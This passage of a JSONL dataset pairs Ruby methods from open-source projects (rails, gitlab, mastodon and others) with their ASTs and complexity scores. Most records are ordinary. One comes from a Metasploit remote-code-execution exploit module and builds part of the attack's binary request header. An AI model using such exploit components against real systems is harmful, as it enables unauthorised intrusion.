",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveModel\"]},\"Errors\"]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failed\"]},\"errors\"]},\"full_messages\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failed\"]},\"errors\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"batch\"]},\"properties\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"errors\"]}]},\"push\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch_errors\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"batch\"]},\"save\"]},{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"lvar\",\"children\":[\"batch_errors\"]}]}]}]}","id":"6147b876-990c-401d-b6ad-4b709bdd9b1e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/transaction_callbacks_test.rb","start_line":61,"raw_source":"def before_commit_block(on = nil, &block)\n      @before_commit ||= {}\n      @before_commit[on] ||= []\n      @before_commit[on] << block\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"before_commit_block\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"on\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@before_commit\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@before_commit\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"on\"]}]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@before_commit\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"on\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"2861dbb0-6948-4c0a-8144-d403a3e450ff"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/command_recorder_test.rb","start_line":168,"raw_source":"def test_invert_drop_table_with_if_exists\n        block = Proc.new { }\n        create_table = @recorder.inverse_of :drop_table, [:people_reminders, id: false, if_exists: true], &block\n        assert_equal [:create_table, [:people_reminders, id: false], block], create_table\n      end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_invert_drop_table_with_if_exists\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"block\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Proc\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"create_table\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@recorder\"]},\"inverse_of\",{\"type\":\"sym\",\"children\":[\"drop_table\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"people_reminders\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"create_table\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"people_reminders\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"lvar\",\"children\":[\"block\"]}]},{\"type\":\"lvar\",\"children\":[\"create_table\"]}]}]}]}","id":"24506fcc-a615-4953-a26e-af305e26e05d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/hook_data/key_builder.rb","start_line":18,"raw_source":"def build(event)\n        [\n          event_data(event),\n          timestamps_data,\n          key_data,\n          user_data\n        ].reduce(:merge)\n      end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"build\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"event_data\",{\"type\":\"lvar\",\"children\":[\"event\"]}]},{\"type\":\"send\",\"children\":[null,\"timestamps_data\"]},{\"type\":\"send\",\"children\":[null,\"key_data\"]},{\"type\":\"send\",\"children\":[null,\"user_data\"]}]},\"reduce\",{\"type\":\"sym\",\"children\":[\"merge\"]}]}]}","id":"acef2cf9-1667-4587-9aab-466167814855"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_event.rb","start_line":226,"raw_source":"def source_event\n    return @source_event if @source_event\n    return unless full_data\n\n    source_event_id = full_data.fetch_path(:source_event_id)\n    @source_event = EventStream.find_by(:id => source_event_id) if source_event_id\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"source_event\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@source_event\"]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@source_event\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"full_data\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"source_event_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"full_data\"]},\"fetch_path\",{\"type\":\"sym\",\"children\":[\"source_event_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_event_id\"]},{\"type\":\"ivasgn\",\"children\":[\"@source_event\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EventStream\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"source_event_id\"]}]}]}]}]},null]}]}]}","id":"de1fe68f-8114-44fb-a43b-4a7b3a5a0b68"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/organizations/update_service.rb","start_line":33,"raw_source":"def allowed?\n      current_user&.can?(:admin_organization, organization)\n    end","complexity_score":3.5,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"admin_organization\"]},{\"type\":\"send\",\"children\":[null,\"organization\"]}]}]}","id":"b6ce0810-4179-4234-8f17-3380f713af66"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20251023042602_add_extra_index_topic_tags.rb","start_line":5,"raw_source":"def change\n    remove_index :topic_tags, %i[tag_id topic_id], if_exists: true\n    add_index :topic_tags, %i[tag_id topic_id], unique: true, algorithm: :concurrently\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"topic_tags\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag_id\"]},{\"type\":\"sym\",\"children\":[\"topic_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"topic_tags\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag_id\"]},{\"type\":\"sym\",\"children\":[\"topic_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]}]}]}","id":"4c120f34-d640-49d9-9622-986f766f203b"}
{"repo_name":"haml","file_path":"./repos/haml/lib/haml/attribute_compiler.rb","start_line":16,"raw_source":"def initialize(identity, options)\n      @identity = identity\n      @quote  = options[:attr_quote]\n      @format = options[:format]\n      @escape_attrs = options[:escape_attrs]\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"identity\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@identity\",{\"type\":\"lvar\",\"children\":[\"identity\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@quote\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"attr_quote\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@format\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"format\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@escape_attrs\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"escape_attrs\"]}]}]}]}]}","id":"3c5cbbc1-4f19-4622-a849-686808c48426"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/migrations/conversions/bigint_converter.rb","start_line":47,"raw_source":"def revert_init\n            verify_table_and_columns_exist!\n            check_trigger_permissions!\n            # Same as what `initialize_conversion_of_integer_to_bigint` does\n            migration.with_lock_retries do\n              remove_bigint_columns\n              remove_trigger\n            end\n          end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"revert_init\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"verify_table_and_columns_exist!\"]},{\"type\":\"send\",\"children\":[null,\"check_trigger_permissions!\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"migration\"]},\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_bigint_columns\"]},{\"type\":\"send\",\"children\":[null,\"remove_trigger\"]}]}]}]}]}","id":"711df021-df99-468d-99c2-cb8e4e5e0a95"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/semgrep_result_processor.rb","start_line":51,"raw_source":"def execute\n    perform_allowlist_check\n    semgrep_results = get_sast_results\n    unique_results = filter_duplicate_findings(semgrep_results)\n    if sast_stop_label_present? || pipeline_tier_three_label_present?\n      puts \"Not adding comments for this MR as it has the appsec-sast::stop / pipeline::tier-3 label. Here are the new unique findings that would have otherwise been posted: #{unique_results}\"\n      return\n    end\n\n    puts \"Found the following unique results: #{unique_results}\"\n    create_inline_comments(unique_results)\n\n  rescue StandardError => e\n    puts \"An error occurred: #{e.message}\"\n\n    exit 0\n  end","complexity_score":20.4,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"perform_allowlist_check\"]},{\"type\":\"lvasgn\",\"children\":[\"semgrep_results\",{\"type\":\"send\",\"children\":[null,\"get_sast_results\"]}]},{\"type\":\"lvasgn\",\"children\":[\"unique_results\",{\"type\":\"send\",\"children\":[null,\"filter_duplicate_findings\",{\"type\":\"lvar\",\"children\":[\"semgrep_results\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sast_stop_label_present?\"]},{\"type\":\"send\",\"children\":[null,\"pipeline_tier_three_label_present?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Not adding comments for this MR as it has the appsec-sast::stop / pipeline::tier-3 label. Here are the new unique findings that would have otherwise been posted: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unique_results\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found the following unique results: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unique_results\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"create_inline_comments\",{\"type\":\"lvar\",\"children\":[\"unique_results\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"An error occurred: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"exit\",{\"type\":\"int\",\"children\":[0]}]}]}]},null]}]}","id":"b1a6c7cd-58ae-496c-b963-38447cd9759e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/graphql/project/merge_requests/merge_requests_spec.rb","start_line":50,"raw_source":"def mr_query(project, args = {})\n    fields = <<~QUERY\n      nodes {\n        id\n      }\n    QUERY\n\n    graphql_query_for(\n      'project',\n      { 'fullPath' => project.full_path },\n      query_graphql_field('merge_requests', args, fields)\n    )\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"mr_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"optarg\",\"children\":[\"args\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fields\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"nodes {\\n\"]},{\"type\":\"str\",\"children\":[\"  id\\n\"]},{\"type\":\"str\",\"children\":[\"}\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"graphql_query_for\",{\"type\":\"str\",\"children\":[\"project\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"fullPath\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"full_path\"]}]}]},{\"type\":\"send\",\"children\":[null,\"query_graphql_field\",{\"type\":\"str\",\"children\":[\"merge_requests\"]},{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"lvar\",\"children\":[\"fields\"]}]}]}]}]}","id":"eac33e17-92da-4fe5-beaa-e0aed4afc380"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/hash_with_indifferent_access_test.rb","start_line":1024,"raw_source":"def test_indifferent_to_proc\n    @strings = @strings.with_indifferent_access\n    proc = @strings.to_proc\n\n    assert_equal 1, proc[\"a\"]\n    assert_equal 1, proc[:a]\n    assert_nil proc[:no_such]\n  end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_indifferent_to_proc\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@strings\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@strings\"]},\"with_indifferent_access\"]}]},{\"type\":\"lvasgn\",\"children\":[\"proc\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@strings\"]},\"to_proc\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proc\"]},\"[]\",{\"type\":\"str\",\"children\":[\"a\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proc\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"a\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proc\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"no_such\"]}]}]}]}]}","id":"66d0d8af-0954-443a-834a-e49016150208"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/sharepoint/storage_file_transformer.rb","start_line":109,"raw_source":"def extract_parent_location(json)\n            rindex = UrlBuilder.path(json[:name]).length * -1\n            extract_location(json)[0...rindex]\n          end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_parent_location\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"json\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rindex\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UrlBuilder\"]},\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},\"length\"]},\"*\",{\"type\":\"int\",\"children\":[-1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extract_location\",{\"type\":\"lvar\",\"children\":[\"json\"]}]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"rindex\"]}]}]}]}]}","id":"7a535e3f-5529-4d70-9ca5-1cbfd4e5ba28"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/unified_remote_rce.rb","start_line":368,"raw_source":"def string_header_three\n    string_header_three = \"\\x00\\x00\\x00\\x00\\x05\"\n    string_header_three << \"Name\\x00\" # 4e616d65 00\n    string_header_three << \"toggle\\x00\" # 746f67676c65 00\n    string_header_three << \"\\x00\\x08\"\n    string_header_three << \"Type\\x00\" # 54797065 00\n    string_header_three << \"\\x08\\x00\\x00\\x00\\x08\"\n    string_header_three << \"Request\\x00\" # 52657175657374 00\n    string_header_three << \"\\x07\\x02\"\n    string_header_three << \"Run\\x00\" # 52756e 00\n    string_header_three << \"\\x02\"\n    string_header_three << \"Extras\\x00\" # 457874726173 00\n    string_header_three << \"\\x06\"\n    string_header_three << \"Values\\x00\" # 56616c756573 00\n    string_header_three << \"\\x02\\x00\\x05\"\n    string_header_three << \"Value\\x00\" # 56616c7565 00\n  end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"string_header_three\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"string_header_three\",{\"type\":\"str\",\"children\":[\"\\u0000\\u0000\\u0000\\u0000\\u0005\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string_header_three\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Name\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string_header_three\"]},\"<<\",{\"type\":\"str\",\"children\":[\"toggle\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string_header_three\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\\b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string_header_three\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Type\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string_header_three\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\b\\u0000\\u0000\\u0000\\b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string_header_three\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Request\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string_header_three\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0007\\u0002\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string_header_three\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Run\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string_header_three\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0002\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string_header_three\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Extras\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string_header_three\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0006\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string_header_three\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Values\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string_header_three\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0002\\u0000\\u0005\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string_header_three\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Value\\u0000\"]}]}]}]}","id":"06652c60-63a5-4cbb-9176-79c6f7f02c07"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/delivery_failure_tracker.rb","start_line":30,"raw_source":"def days\n    raise TypeError, 'resolution is not in days' unless @resolution == :days\n\n    failures\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"days\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@resolution\"]},\"==\",{\"type\":\"sym\",\"children\":[\"days\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"TypeError\"]},{\"type\":\"str\",\"children\":[\"resolution is not in days\"]}]}]},{\"type\":\"send\",\"children\":[null,\"failures\"]}]}]}","id":"cbba7ab7-5d38-457f-a59c-a38d10f4a75a"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/controller/capture_test.rb","start_line":77,"raw_source":"def test_non_erb_block_content_for\n    get :non_erb_block_content_for\n    assert_equal expected_content_for_output, @response.body\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_non_erb_block_content_for\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"non_erb_block_content_for\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"expected_content_for_output\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}","id":"7de50730-7630-4d97-8dcd-3a478cb18348"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/server/json_return_value_processor.rb","start_line":63,"raw_source":"def process_value_as_int(return_value: nil)\n      if return_value.nil?\n        return_value = 0\n      end\n\n      # quirks_mode because sometimes the built-in library is used for some folks and that needs quirks_mode: true\n      return JSON.generate(return_value.to_s, quirks_mode: true)\n    end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"process_value_as_int\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"return_value\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"return_value\"]},\"nil?\"]},{\"type\":\"lvasgn\",\"children\":[\"return_value\",{\"type\":\"int\",\"children\":[0]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"generate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"return_value\"]},\"to_s\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"quirks_mode\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"4a55e12e-e1ed-4873-9606-c603190fbb67"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/user.rb","start_line":288,"raw_source":"def token_for_app(app)\n    return nil if app.nil? || app.owner != self\n\n    Doorkeeper::AccessToken.find_or_create_by(application_id: app.id, resource_owner_id: id) do |t|\n      t.scopes            = app.scopes\n      t.expires_in        = Doorkeeper.configuration.access_token_expires_in\n      t.use_refresh_token = Doorkeeper.configuration.refresh_token_enabled?\n    end\n  end","complexity_score":19.9,"ast_json":"{\"type\":\"def\",\"children\":[\"token_for_app\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"app\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"owner\"]},\"!=\",{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Doorkeeper\"]},\"AccessToken\"]},\"find_or_create_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"application_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource_owner_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"scopes=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"scopes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"expires_in=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Doorkeeper\"]},\"configuration\"]},\"access_token_expires_in\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"use_refresh_token=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Doorkeeper\"]},\"configuration\"]},\"refresh_token_enabled?\"]}]}]}]}]}]}","id":"035c4e90-656c-4983-8d88-a143c8a66302"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/test/connection/subscriptions_test.rb","start_line":154,"raw_source":"def setup_connection\n      env = Rack::MockRequest.env_for \"/test\", \"HTTP_HOST\" => \"localhost\", \"HTTP_CONNECTION\" => \"upgrade\", \"HTTP_UPGRADE\" => \"websocket\"\n      @connection = Connection.new(@server, env)\n\n      @subscriptions = ActionCable::Connection::Subscriptions.new(@connection)\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup_connection\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"env\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"MockRequest\"]},\"env_for\",{\"type\":\"str\",\"children\":[\"/test\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"HTTP_HOST\"]},{\"type\":\"str\",\"children\":[\"localhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"HTTP_CONNECTION\"]},{\"type\":\"str\",\"children\":[\"upgrade\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"HTTP_UPGRADE\"]},{\"type\":\"str\",\"children\":[\"websocket\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@connection\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Connection\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@server\"]},{\